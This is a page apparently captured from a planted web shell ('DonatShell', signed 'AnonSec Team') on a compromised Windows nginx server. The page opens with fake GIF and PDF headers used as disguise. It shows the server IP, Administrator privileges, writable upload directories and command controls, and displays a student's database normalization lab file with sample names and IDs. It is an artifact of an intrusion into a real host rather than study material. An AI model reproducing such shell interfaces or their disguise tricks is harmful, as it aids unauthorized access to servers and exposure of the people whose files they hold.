GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20243/CST1600/41/16316941/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20243/CST1600/41/16316941/Lab09/CarterGrunewald-Lab09.txt.bak1.zip
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

note: student first name and last need to be seperate, letter grade and percentage are seperated data that could fit under a
single colunm. labs are reapeating data and can be seperate with score. totals, final, and IP are calaculated fields
1NF:studentgrades (StudentId*, StudentFirstName, StudentLastName, SP, Lab*, Score)
lettergrade (LetterGrade*, Percentage*)
possiblepoints (Lab*, Possible)

note: OK
2NF:studentgrades (StudentId*, StudentFirstName, StudentLastName, SP, Lab*, Score)
lettergrade (LetterGrade*, Percentage*)
possiblepoints (Lab*@, Possible)

note: student iformation and grades can be seperate, 
3NF:students (StudentId*, StudentFirstName, StudentLastName, SP)
studentgrades(StudentId*@, Lab*, Score)
lettergrade (LetterGrade*, Percentage*)
possiblepoints (Lab*@, Possible)

Three data rows: 
students (StudentId*, StudentFirstName, StudentLastName, SP)
	  84228748,   Lael,		Abbott		 4 
	  44107438,   Bruce,		Acosta		 5
	  21479092,   Coby,		Fox		 5
studentgrades(StudentId*@, Lab*, Score)
	      84228748,    1,    10
	      84228748,    2,    5
	      84228748,    3,    9 
lettergrade (LetterGrade*, Percentage*)
	     A,		   93
	     A-,	   90
	     B+,	   87
possiblepoints (Lab*@, Possible)
	        1,     10
		2,     5
		3,     10

Anon7 - 2022
AnonSec Team